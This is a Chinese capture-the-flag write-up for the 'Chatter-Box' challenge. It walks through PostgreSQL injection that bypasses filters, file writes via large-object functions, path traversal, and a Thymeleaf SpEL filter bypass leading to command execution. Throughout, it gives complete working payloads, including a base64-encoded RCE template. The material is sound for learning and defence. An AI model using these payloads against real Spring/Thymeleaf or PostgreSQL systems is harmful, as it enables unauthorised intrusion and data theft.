Chatter-Box-题目分析
2024-01-28 17:04:06

题目分析

Step 1 - 获取管理员密码

image-20240128025629632

可以看到一个很明显的注入,但是会有两层过滤,第一个是 checkBlackList 函数,他有一份很长很长的黑名单几乎过滤了所有函数:

image-20240128025725661

过了这个之后还有一个 check 函数:

1
2
com.chatterbox.utils.SQLCheck#check
-> com.chatterbox.utils.SQLCheck#checkValid

此处的目标是需要让函数返回 true,一共两处返回 true,第一处是正常解析所有,第二处是在最后的 catch 中:

image-20240128030009211

可以看到首先做了一次 sql 语法的解析,如果报错了就使用第二个解析器解析 SQL 语句,如果再报错就进入到 catch 语句块,我们首先进入 filter函数看看:

image-20240128030442717

可以看到如果我们成功进入到这个函数的话,只需要在 SQL 语句包含 USER_DEFINE 就能够让整个 check 函数都返回 true 了。

那么现在只需要知道如何进入 catch 语句块,回到 checkValid 函数。

image-20240128030706950

此时就会有一个想法:

如果我们能让两个解析器都报错,就会进入最后的 catch,但是同时我们构造的语句也必须要能够在数据库中正常执行。

此时我们就可以翻看解析引擎的一些实现不完全的点了

第一个引擎比较简单,我们直接看第二个点:

1
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, JdbcConstants.POSTGRESQL);

直接揭晓答案:

1
username=1'||((WITH USER_DEFINE AS (values(1))values(1)))||'&passwd=

image-20240128033248692

函数位置如下:

1
com.alibaba.druid.sql.parser.SQLSelectParser#parseWith

image-20240128033837702

此处应该预期接受 SELECT 或者剩下三个常量,拿 SELECT 举例,正常来说,应该是如下:

1
select 1 from message_users where 1=1||((WITH USER_DEFINE AS (select(1))select(1)))

image-20240128034507860

但是我们把 select 1 换成 values(1),由于获取到的跟预期不符就会导致报错。

然后回到 login 登陆函数:

image-20240128034845489

可以看到如果 SQL 报错了会丢出异常并且甚至会显示在页面上。

所以答案就很简单了,可以直接使用类型转换的报错方法打印出密码:

1
username=1'||((passwd)::numeric)||((WITH USER_DEFINE AS (values(1))values(1)))||'&passwd=

image-20240128035223487

Step 2 - 任意文件写

进入后台后可以看到还有两个路由:/post_message/notify

/notify 很明显是需要输入一个模板文件名,利用模板注入完成 RCE

此时就需要把模板内容写入某个文件中再去触发 /notify

先来看看 /post_message

image-20240128040337389

通常来说,PG_SQL 写入模板可以使用 lo_from_bytea lo_export 两个函数:

1
2
SELECT lo_from_bytea(1,'test123');
SELECT lo_export(1, '/tmp/haha');

image-20240128040133339

但是此处也有黑名单过滤并且把 export 也过滤掉了。

几乎所有师傅使用的方法都是 query_to_xml,他的第一个参数可以接受一个 SQL 语句,由于是字符串形式所以可以直接使用拼接的方法绕过任何黑名单。

image-20240128040642194

此处介绍另外一个功能类似的函数:ts_stat,这个函数没什么特殊的,也是接受一个字符串作为表达式进行执行:

image-20240128040753028

此时就很简单了,直接写个文件测试下:

在后台留言板输入如下:

1
'||ts_stat('SE'||'LECT to_tsvecto'||'r(''engli'||'sh'',lo_fr'||'om_b'||'y'||'tea(10,''hahaha'')::text)')||'

注意这里的 10oid,不能重复的。

此时就会多出一个留言信息:(10,1,1),说明注入成功了。

然后再写入一条:

1
'||ts_stat('SE'||'LECT to_tsvecto'||'r(''engl'||'i'||'sh'',lo_expo'||'rt(10, ''/tmp/aaaaa1.txt'')::text)')||'

此时容器内就会发现写入成功了:

image-20240128041531118

Step 3 - 模板引擎绕过

文件名的绕过

接下来就可以专注在 thymeleaf 的模板引擎绕过了,看看这里的代码:

image-20240128041639635

值得一提的是,如果用的是 jd-gui 反编译的话,就会出现一个问题:

image-20240128042322482

此处显示的和实际代码是不一样的,显示的是 Prefix +。Prefix + fname


继续讨论绕过,在这有两个点:

  1. 过滤了 ../ 这个字符串,看似好像禁止目录穿越
  2. Prefix 初始是 file:///non_exists/ ,这个提示的意思就是目录是不存在

但是其实很简单,看这行代码:

1
InputStream inputStream = this.applicationContext.getResource(this.templatePrefix + fname + this.templateSuffix).getInputStream();

Debug 往下走,会发现调用路径如下:

1
2
3
4
org.springframework.context.support.GenericApplicationContext#getResource
-> org.springframework.core.io.DefaultResourceLoader#getResource
-> org.springframework.util.ResourceUtils#toURL
-> org.springframework.util.StringUtils#cleanPath

image-20240128043325923

这里将 \ 替换成了 /,然后下面还会替换掉 ../ 把上一层 non_exists 替换掉。

如果往下继续跟还会发现可以使用类似 ..\a.txt? 的方法绕过后缀

这是因为此处的处理是将文件名当做一个 URI 处理了,所以会做一些归一化的操作。

RCE

此处还有一个小过滤就是不能输入以下四个:<>org.apacheorg.spring

接下来就到了最重要的地方,RCE:

1
String result = this.getTemplateEngine().process(fname, new Context());

大部分师傅使用的都是:

1
[[${xxxxx}]]

翻翻文档可以看到:

image-20240128045211737

image-20240128045728100

可以看到这样就相当于绕过了 <>,剩下就是找依赖中一些 类/函数 绕过 thymeleaf 的内置黑名单了。

此处给师傅们分享另外一种方法,在 process 后面会发现直接把数据 return 了:

1
2
String result = this.getTemplateEngine().process(fname, new Context());                    
return result;

而这个方法是没有 ResponseBody 注解的

此处可以想到之前 panda 师傅分享的文章:

https://www.cnpanda.net/sec/1063.html

只不过在最新版中还是做了一些修复的,比如像是 T%20( 应该就不能再使用了

让我们来到这个函数:

1
org.thymeleaf.spring6.util.SpringStandardExpressionUtils#containsSpELInstantiationOrStaticOrParam

可以在本地新建文件,然后把我们的模板文件内容改为:

1
__${T (abcd) }__::x

image-20240128051558270

此处isPreviousStaticMarker 就是判断 T 左边是否是 (

1
org.thymeleaf.spring6.util.SpringStandardExpressionUtils#isPreviousStaticMarker

image-20240128051809644

同时这里跳过了所有空格,所以 T%20( 就不太能用了。

当这个函数返回 true 就要抛出异常了

image-20240128051651183

这个过滤函数不止判断了 T(,还判断了 new xx

image-20240128051945032

此处也是判断 new 后面不能为空格。

这里看起来是无懈可击的(应该),那么绕过点在哪里呢

来到 thymeleaf 解析 new 关键字的地方:

1
org.springframework.expression.spel.standard.InternalSpelExpressionParser#maybeEatConstructorReference

比如我输入 new java.lang.String():

image-20240128053312623

这个 possiblyQualifiedConstructorName 就是类名了,跟入这个函数:

1
org.springframework.expression.spel.standard.InternalSpelExpressionParser#eatPossiblyQualifiedId

image-20240128052756212

这里判断如果是 ValidQualifiedId 并且不是 .addqualifiedIdPieces,这个就是返回的类名

看看 isValidQualifiedId

image-20240128052927264

两个类型:

一个 DOT(就是 .

第二个是普通的 IDENTIFIER,就是不在单双引号里面的一些字母数字啥的

很重要的一点,他会跳过 DOT 符号,比如:

在其中输入很多 . ,效果也是一样的:

image-20240128053604655

刚刚上面提到的过滤是:不能使用 new%20,可没说不能使用new.

于是我们就可以写出这样的模板:

1
__${new.java..lang...String()}__::x

接下来就是刚刚提到的找一些类绕过内置黑名单了。

这个是我的:

1
__${new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().findMethod(new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Runtime"),"getRuntime",null),"invoke",{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Object"),new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("org."+"thymeleaf.util.ClassLoaderUtils").loadClass("[Ljava.lang.Object;")}),"exec","touch /tmp/xxbb",new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.String"))}__::x

总的来说就是使用 org..apache.tomcat.util.IntrospectionUtils 类去调用方法最终执行Runtime.getRuntime().exec

题解

第一步注入密码:

1
username=1'||((passwd)::numeric)||((WITH USER_DEFINE AS (values(1))values(1)))||'&passwd=

第二步,写入 oid :

将上面模板执行的命令改成 ``/readflag | tee -a /tmp/flag_res`

base64 编码然后断开一些黑名单的字符:

1
'|| ts_stat('SE'||'LECT to_tsvecto'||'r(''engli'||'sh'',lo_fr'||'om_b'||'y'||'tea(10,decode(''X18ke25ldy5vcmcuLmFwYWNoZS50b21jYXQudXRpbC5JbnRyb3NwZWN0aW9uVXRpbHMoKS5nZXRDbGFzcygpLmNhbGxNZXRob2ROKG5ldy5vcmcuLmFwYWNoZS50b21jYXQudXRpbC5JbnRyb3NwZWN0aW9uVXRpbHMoKS5nZXRDbGFzcygpLmNhbGxNZXRob2ROKG5ldy5vcmcuLmFwYWNoZS50b21jYXQudXRpbC5JbnRyb3NwZWN0aW9uVXRpbHMoKS5nZXRDbGFzcygpLmZpbmRNZXRob2QobmV3Lm9yZy4uc3B'||'yaW5nZnJhbWV3b3JrLmluc3RydW1lbnQuY2xhc3Nsb2FkaW5nLlNoYWRvd2luZ0NsYXNzTG9hZGVyKG5ldy5vcmcuLmFwYWNoZS50b21jYXQudXRpbC5JbnRyb3NwZWN0aW9uVXRpbHMoKS5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmxvYWRDbGFzcygiamF2YS5sYW5nLlJ1bnRpbWUiKSwiZ2V0UnVudGltZSI'||'sbnVsbCksImludm9rZSI'||'se251bGwsbnVsbH0se25ldy5vcmcuLnNwcmluZ2ZyYW1ld29yay5pbnN0cnVtZW50LmNsYXNzbG9hZGluZy5TaGFkb3dpbmdDbGFzc0xvYWRlcihuZXcub3JnLi5hcGFjaGUudG9tY2F0LnV0aWwuSW50cm9zcGVjdGlvblV0aWxzKCkuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5sb2FkQ2xhc3MoImphdmEubGFuZy5PYmplY3QiKSxuZXcub3JnLi5zcHJpbmdmcmFtZXdvcmsuaW5zdHJ1bWVudC5jbGFzc2xvYWRpbmcuU2hhZG93aW5nQ2xhc3NMb2FkZXIobmV3Lm9yZy4uYXBhY2hlLnRvbWNhdC51dGlsLkludHJvc3BlY3Rpb25VdGlscygpLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkubG9hZENsYXNzKCJvcmcuIi'||'sidGh5bWVsZWFmLnV0aWwuQ2xhc3NMb2FkZXJVdGlscyIpLmxvYWRDbGFzcygiW0xqYXZhLmxhbmcuT2JqZWN0OyIpfSksImV4ZWMiLCJzaCAtYyAkQHxzaCAuIGVjaG8gL3JlYWRmbGFnfHRlZSAtYSAvdG1wL2ZsYWdfcmVzIixuZXcub3JnLi5zcHJpbmdmcmFtZXdvcmsuaW5zdHJ1bWVudC5jbGFzc2xvYWRpbmcuU2hhZG93aW5nQ2xhc3NMb2FkZXIobmV3Lm9yZy4uYXBhY2hlLnRvbWNhdC51dGlsLkludHJvc3BlY3Rpb25VdGlscygpLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkubG9hZENsYXNzKCJqYXZhLmxhbmcuU3RyaW5nIikpfV9fOjp4'',''base64''))::text)')||'

第三步写出文件:

1
'||ts_stat('SE'||'LECT to_tsvecto'||'r(''engl'||'i'||'sh'',lo_expo'||'rt(10, ''/tmp/hack.html'')::text)')||'

第四步触发模板:

访问路由:

1
/notify?fname=..%5ctmp/hack

此处会返回 500,是正常的

第五步读取文件:

(其实可以直接在执行命令的时候将 flag 带出网)

1
'||ts_stat('se'||'lect T'||'O_TSVECTO'||'R(''engli'||'sh'',enc'||'ode(P'||'G_READ_FI'||'LE(''/tmp/flag_res'')::b'||'y'||'tea,''he'||'x''))')||'

image-20240128054825510

得到 flaghex 编码

结束啦~~~

Prev
2024-01-28 17:04:06
Next